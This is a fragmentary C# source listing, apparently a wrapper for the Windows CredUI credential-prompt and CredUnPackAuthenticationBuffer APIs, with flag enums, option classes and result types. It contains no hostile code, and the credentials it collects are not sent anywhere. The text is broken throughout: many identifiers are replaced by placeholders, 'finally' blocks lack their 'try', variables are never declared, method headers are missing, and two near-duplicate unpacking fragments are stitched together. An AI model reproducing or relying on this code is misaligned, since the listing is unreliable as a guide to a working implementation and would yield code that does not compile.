public static PromptCredentialsSecureStringResult
PromptForCredentialsWithSecureString(String targetName, String caption, String
message, SecureString userName, SecureString password)
{
return
PromptForCredentialsWithSecureString(targetName, caption, message, [Link],
userName, password);
}
/// <summary>
/// Creates and displays a configurable dialog box that
accepts credentials information from a user.
/// </summary>
/// <param name="targetName"></param>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <param name="hwndParent"></param>
/// <param name="userName"></param>
/// <param name="password"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForCredentialsWithSecureString(String targetName, String caption, String
message, IntPtr hwndParent, SecureString userName, SecureString password)
{
return PromptForCredentialsWithSecureString(new
PromptForCredentialsOptions(targetName, caption, message) { HwndParent = hwndParent
}, userName, password);
}
/// <summary>
/// Creates and displays a configurable dialog box that
accepts credentials information from a user.
/// </summary>
/// <param name="options"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForCredentialsWithSecureString(PromptForCredentialsOptions options)
{
return
PromptForCredentialsInternal<PromptCredentialsSecureStringResult>(options, null,
null);
}
/// <summary>
/// Creates and displays a configurable dialog box that
accepts credentials information from a user.
/// </summary>
/// <param name="options"></param>
/// <param name="userName"></param>
/// <param name="password"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForCredentialsWithSecureString(PromptForCredentialsOptions options,
SecureString userName, SecureString password)
{
return
PromptForCredentialsInternal<PromptCredentialsSecureStringResult>(options,
userName, password);
}
private static T
PromptForCredentialsInternal<T>(PromptForCredentialsOptions options, SecureString
userName, SecureString password) where T : class, IPromptCredentialsResult
{
if (options == null)
throw new ArgumentNullException("options");
if (userName != null && ([Link] >
NativeMethods.CREDUI_MAX_USERNAME_LENGTH))
throw new
ArgumentOutOfRangeException("userName", "CREDUI_MAX_USERNAME_LENGTH");
if (password != null && ([Link] >
NativeMethods.CREDUI_MAX_PASSWORD_LENGTH))
throw new
ArgumentOutOfRangeException("password", "CREDUI_MAX_PASSWORD_LENGTH");
if (password == null)
{
passwordPtr =
[Link]((NativeMethods.CREDUI_MAX_PASSWORD_LENGTH + 1) *
sizeof(Int16));
Marshal.WriteInt16(passwordPtr, 0, 0x00);
}
else
{
passwordPtr =
[Link](password);
passwordPtr =
[Link](passwordPtr, (NativeMethods.CREDUI_MAX_PASSWORD_LENGTH +
1) * sizeof(Int16));
}
Marshal.WriteInt16(userNamePtr,
NativeMethods.CREDUI_MAX_USERNAME_LENGTH * sizeof(Int16), 0x00);
Marshal.WriteInt16(passwordPtr,
NativeMethods.CREDUI_MAX_PASSWORD_LENGTH * sizeof(Int16), 0x00);
var retVal =
[Link](creduiInfo,
[Link],
[Link],
[Link],
userNamePtr,
NativeMethods.CREDUI_MAX_USERNAME_LENGTH,
passwordPtr,
NativeMethods.CREDUI_MAX_PASSWORD_LENGTH,
ref save,
[Link]);
switch (retVal)
{
case
[Link]:
return null;
case
[Link]:
throw new
Win32Exception((Int32)retVal);
case
[Link]:
throw new
Win32Exception((Int32)retVal);
case
[Link]:
break;
default:
throw new
Win32Exception((Int32)retVal);
}
if (typeof(T) ==
typeof(PromptCredentialsSecureStringResult))
{
return new
PromptCredentialsSecureStringResult
{
UserName =
[Link](userNamePtr),
Password =
[Link](passwordPtr),
IsSaveChecked = save
} as T;
}
else
{
return new PromptCredentialsResult
{
UserName =
[Link](userNamePtr),
Password =
[Link](passwordPtr),
IsSaveChecked = save
} as T;
}
}
finally
{
if (userNamePtr != [Link])
[Link](userNamePtr);
if (passwordPtr != [Link])
[Link](passwordPtr);
}
}
#endregion
/// <summary>
///
/// </summary>
[Flags]
public enum PromptForWindowsCredentialsFlag
{
/// <summary>
/// Plain text username/password is being requested
/// </summary>
CREDUIWIN_GENERIC = 0x00000001,
/// <summary>
/// Show the Save Credential checkbox
/// </summary>
CREDUIWIN_CHECKBOX = 0x00000002,
/// <summary>
/// Only Cred Providers that support the input auth
package should enumerate
/// </summary>
CREDUIWIN_AUTHPACKAGE_ONLY = 0x00000010,
/// <summary>
/// Only the incoming cred for the specific auth
package should be enumerated
/// </summary>
CREDUIWIN_IN_CRED_ONLY = 0x00000020,
/// <summary>
/// Cred Providers should enumerate administrators
only
/// </summary>
CREDUIWIN_ENUMERATE_ADMINS = 0x00000100,
/// <summary>
/// Only the incoming cred for the specific auth
package should be enumerated
/// </summary>
CREDUIWIN_ENUMERATE_CURRENT_USER = 0x00000200,
/// <summary>
/// The Credui prompt should be displayed on the
secure desktop
/// </summary>
CREDUIWIN_SECURE_PROMPT = 0x00001000,
/// <summary>
/// Tell the credential provider it should be packing
its Auth Blob 32 bit even though it is running 64 native
/// </summary>
CREDUIWIN_PACK_32_WOW = 0x10000000
}
/// <summary>
///
/// </summary>
[Flags]
public enum PromptForCredentialsFlag
{
/// <summary>
/// indicates the username is valid, but password is
not
/// </summary>
CREDUI_FLAGS_INCORRECT_PASSWORD = 0x00001,
/// <summary>
/// Do not show "Save" checkbox, and do not persist
credentials
/// </summary>
CREDUI_FLAGS_DO_NOT_PERSIST = 0x00002,
/// <summary>
/// Populate list box with admin accounts
/// </summary>
CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 0x00004,
/// <summary>
/// do not include certificates in the drop list
/// </summary>
CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 0x00008,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_REQUIRE_CERTIFICATE = 0x00010,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 0x00040,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_ALWAYS_SHOW_UI = 0x00080,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_REQUIRE_SMARTCARD = 0x00100,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_PASSWORD_ONLY_OK = 0x00200,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_VALIDATE_USERNAME = 0x00400,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_COMPLETE_USERNAME = 0x00800,
/// <summary>
/// Do not show "Save" checkbox, but persist
credentials anyway
/// </summary>
CREDUI_FLAGS_PERSIST = 0x01000,
/// <summary>
///
/// </summary>
CREDUI_FLAGS_SERVER_CREDENTIAL = 0x04000,
/// <summary>
/// do not persist unless caller later confirms
credential via CredUIConfirmCredential() api
/// </summary>
CREDUI_FLAGS_EXPECT_CONFIRMATION = 0x20000,
/// <summary>
/// Credential is a generic credential
/// </summary>
CREDUI_FLAGS_GENERIC_CREDENTIALS = 0x40000,
/// <summary>
/// Credential has a username as the target
/// </summary>
CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 0x80000,
/// <summary>
/// don't allow the user to change the supplied
username
/// </summary>
CREDUI_FLAGS_KEEP_USERNAME = 0x100000
}
/// <summary>
///
/// </summary>
public class PromptForWindowsCredentialsOptions
{
private String _caption;
private String _message;
public String Caption
{
get { return _caption; }
set
{
if ([Link] >
NativeMethods.CREDUI_MAX_CAPTION_LENGTH)
throw new
ArgumentOutOfRangeException("value");
_caption = value;
}
}
public String Message
{
get { return _message; }
set
{
if ([Link] >
NativeMethods.CREDUI_MAX_MESSAGE_LENGTH)
throw new
ArgumentOutOfRangeException("value");
_message = value;
}
}
public IntPtr HwndParent { get; set; }
public IntPtr HbmBanner { get; set; }
public Boolean IsSaveChecked { get; set; }
public PromptForWindowsCredentialsFlag Flags { get;
set; }
public Int32 AuthErrorCode { get; set; }
public PromptForWindowsCredentialsOptions(String
caption, String message)
{
if ([Link](caption))
throw new
ArgumentNullException("caption");
if ([Link](message))
throw new
ArgumentNullException("message");
Caption = caption;
Message = message;
Flags =
PromptForWindowsCredentialsFlag.CREDUIWIN_GENERIC;
}
}
/// <summary>
///
/// </summary>
public class PromptForCredentialsOptions
{
private String _caption;
private String _message;
public String Caption
{
get { return _caption; }
set
{
if ([Link] >
NativeMethods.CREDUI_MAX_CAPTION_LENGTH)
throw new
ArgumentOutOfRangeException("value");
_caption = value;
}
}
public String Message
{
get { return _message; }
set
{
if ([Link] >
NativeMethods.CREDUI_MAX_MESSAGE_LENGTH)
throw new
ArgumentOutOfRangeException("value");
_message = value;
}
}
public String TargetName { get; set; }
public IntPtr HwndParent { get; set; }
public IntPtr HbmBanner { get; set; }
public Boolean IsSaveChecked { get; set; }
public PromptForCredentialsFlag Flags { get; set; }
public Int32 AuthErrorCode { get; set; }
public PromptForCredentialsOptions(String targetName,
String caption, String message)
{
// target name may be empty.
if ([Link](caption))
throw new
ArgumentNullException("caption");
if ([Link](message))
throw new
ArgumentNullException("message");
TargetName = targetName;
Caption = caption;
Message = message;
Flags =
PromptForCredentialsFlag.CREDUI_FLAGS_GENERIC_CREDENTIALS |
PromptForCredentialsFlag.CREDUI_FLAGS_DO_NOT_PERSIST;
}
}
[StructLayout([Link])]
public class CREDUI_INFO
{
public Int32 cbSize;
public IntPtr hwndParent;
[MarshalAs([Link])]
public String pszMessageText;
[MarshalAs([Link])]
public String pszCaptionText;
public IntPtr hbmBanner;
public CREDUI_INFO()
{
cbSize =
[Link](typeof(CREDUI_INFO));
}
}
//
// CredUIPromptForCredentials
-------------------------------------
//
[DllImport("[Link]", CharSet = [Link])]
public static extern CredUIPromptReturnCode
CredUIPromptForCredentials(
CREDUI_INFO pUiInfo,
String pszTargetName,
IntPtr Reserved,
Int32 dwAuthError,
IntPtr pszUserName,
Int32 ulUserNameMaxChars,
IntPtr pszPassword,
Int32 ulPasswordMaxChars,
ref Boolean pfSave,
PromptForCredentialsFlag dwFlags
);
//
// CredUIPromptForWindowsCredentials
------------------------------
//
[DllImport("[Link]", CharSet = [Link])]
public static extern CredUIPromptReturnCode
CredUIPromptForWindowsCredentials(
CREDUI_INFO pUiInfo,
Int32 dwAuthError,
ref Int32 pulAuthPackage,
IntPtr pvInAuthBuffer,
Int32 ulInAuthBufferSize,
out IntPtr ppvOutAuthBuffer,
out Int32 pulOutAuthBufferSize,
ref Boolean pfSave,
PromptForWindowsCredentialsFlag dwFlags
);
//#define CRED_PACK_PROTECTED_CREDENTIALS
0x1
//#define CRED_PACK_WOW_BUFFER
0x2
//#define CRED_PACK_GENERIC_CREDENTIALS
0x4
Boolean result =
CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
authBufferPtr,
authBufferSize,
sbUserName,
ref userNameSize,
sbDomainName,
ref domainNameSize,
sbPassword,
ref passwordSize
);
if (!result)
{
var win32Error =
Marshal.GetLastWin32Error();
if (win32Error == 122
/*ERROR_INSUFFICIENT_BUFFER*/)
{
[Link] = userNameSize;
[Link] = passwordSize;
[Link] =
domainNameSize;
result =
CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
authBufferPtr,
authBufferSize,
sbUserName,
ref userNameSize,
sbDomainName,
ref domainNameSize,
sbPassword,
ref passwordSize
);
if (!result)
{
throw new
Win32Exception(Marshal.GetLastWin32Error());
}
}
else
{
throw new
Win32Exception(win32Error);
}
}
//#define CRED_PACK_PROTECTED_CREDENTIALS
0x1
//#define CRED_PACK_WOW_BUFFER
0x2
//#define CRED_PACK_GENERIC_CREDENTIALS
0x4
Boolean result =
CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
authBufferPtr,
authBufferSize,
userNamePtr,
ref userNameSize,
domainNamePtr,
ref domainNameSize,
passwordPtr,
ref passwordSize
);
if (!result)
{
var win32Error =
Marshal.GetLastWin32Error();
if (win32Error == 122
/*ERROR_INSUFFICIENT_BUFFER*/)
{
userNamePtr =
[Link](userNamePtr, userNameSize);
domainNamePtr =
[Link](domainNamePtr, domainNameSize);
passwordPtr =
[Link](passwordPtr, passwordSize);
result =
CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
authBufferPtr,
authBufferSize,
userNamePtr,
ref userNameSize,
domainNamePtr,
ref domainNameSize,
passwordPtr,
ref passwordSize);
if (!result)
{
throw new
Win32Exception(Marshal.GetLastWin32Error());
}
}
else
{
throw new
Win32Exception(win32Error);
}
}
return new
PromptCredentialsSecureStringResult
{
UserName =
PtrToSecureString(userNamePtr, userNameSize),
DomainName =
PtrToSecureString(domainNamePtr, domainNameSize),
Password =
PtrToSecureString(passwordPtr, passwordSize)
};
}
finally
{
if (userNamePtr != [Link])
[Link](userNamePtr);
if (domainNamePtr != [Link])
[Link](domainNamePtr);
if (passwordPtr != [Link])
[Link](passwordPtr);
}
}
/// <summary>
///
/// </summary>
public interface IPromptCredentialsResult
{
}
/// <summary>
///
/// </summary>
public class PromptCredentialsResult : IPromptCredentialsResult
{
public String UserName { get; internal set; }
public String DomainName { get; internal set; }
public String Password { get; internal set; }
public Boolean IsSaveChecked { get; set; }
}
/// <summary>
///
/// </summary>
public class PromptCredentialsSecureStringResult :
IPromptCredentialsResult
{
public SecureString UserName { get; internal set; }
public SecureString DomainName { get; internal set; }
public SecureString Password { get; internal set; }
public Boolean IsSaveChecked { get; set; }
}